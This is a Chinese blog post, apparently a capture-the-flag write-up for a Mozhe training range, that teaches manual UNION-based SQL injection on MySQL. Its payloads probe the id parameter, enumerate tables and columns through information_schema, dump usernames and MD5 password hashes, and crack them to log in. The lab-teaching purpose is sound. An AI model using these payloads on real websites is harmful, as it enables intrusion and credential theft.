WEB安全-SQL手工注入漏洞测试(MySQL数据库)


靶场

墨者学院

思路

一、信息收集

1.在注入前的信息收集步骤是在整个注入过程中非常重要的一步,我们首先最好了解需要测试网站的相关信息,例如:

(1)操作系统(Linux/Windows)

(2)数据库类型(不同的数据库类型,注入方法会有所不同)

(2)数据库名

(3)数据库用户

(4)数据库版本

(5)其他(网站路径,根目录等)

2.注入权限

二、注入步骤(以墨者注入靶场为例)

1.判断是否存在注点

这里在尝试了用户名单注入,双拼注入都不行…

具体参考了sql注入的几种方式【网络攻防CTF】(保姆级图文

然后点进平台维修部通知

发现域名有?id=1

判断是否存在注点的方法就是在可变参数id=1后加上and 1=1,页面显示正常(与之前页面显示相同),而如果填入and 1=2,页面显示错误或有很大变化,则有可能存在注点。(这里不一定要写and 1= 2,只要随便输入一些字符字母,可以使网页报错即可)

2.猜解数据库列名数量

验证界面的查询语句有几个字段–判断长度使用order by 语句

例如:在id=1后加上order by 1, order by 2, …, order by 5(这个数字代表该网站数据库存在列数,可以使用二分法进行查找,找到使页面显示错误的最小数值,及猜页面错误与正常的临界值,例如此处当输入order by 5,页面报错,及该数据库存在4列)。

3.报错拆解准备

验证字段再界面显示位置—判断回显位置

输入?id=-1 union select 1,2,3,4或?id=1 and 1=2 union select 1,2,3,4都会出现报错数字,这个数字是随机产生的,报错数字是几就在数字几上进行查询,这里是2和3。

<补充>数据库版本:version() 数据库名字 : database()

数据库用户:user() 操作系统:@@version_compile_os

数据库路径:@@datadir

例如:

?id=-1 union select 1,user(),version(),4(查询数据库用户和版本)

?id=-1 union select 1,database(),@@version_compile_os,4(查询数据库名字和操作系统)

4.利用information_schema表进行数据库查询

(1)在MYSQL5.0以上的版本中,mysql存在一个自带数据库库名,表名,列名的数据库,也相当于可以通过查询它获取到指定数据库下面的表名活列名信息。
information_schema.schemata:记录所有数据库名信息的表

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_schema:数据库名

table_name:表名

column_name:列名

(在5.0版本以下的话只能暴力方法了)

(2)通过之前查询获取到数据库名为 mozhe_Discuz_StormGroup,所以查询该数据库下的表名信息。
?id=-1 union select 1, group_concat(table_name),3,4 from information_schema.tables where table_schema=’mozhe_Discuz_StormGroup’

或者可以直接?id=-1 union select 1, group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

注意此处table_name列有好几个值需要group_concat()函数连接一下

然后注意到用户密码之类的东西应该在名为StormGroup_member的表中

(3)获取到存储用户的表名应该为StormGroup_member,所以查询该表名下的列名信息。

?id=-1 union select 1, group_concat(column_name),3,4 from information_schema.columns where table_name=’StormGroup_member’

(4)查询指定数据

那肯定直接查用户名和密码了

?id=-1 union select 1, group_concat(name),group_concat(password),4 from StormGroup_member

一般网站密码是m5d加密,md5解密工具

这样用户密码都出来了,第一个发现被封了

第二个登录进去得到flag

参考

SQL注入基础(最主要参考)

墨者学院-XWAY科技管理系统V3.0


Author: 寒风渐微凉
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source 寒风渐微凉 !
 Previous
Next 
  TOC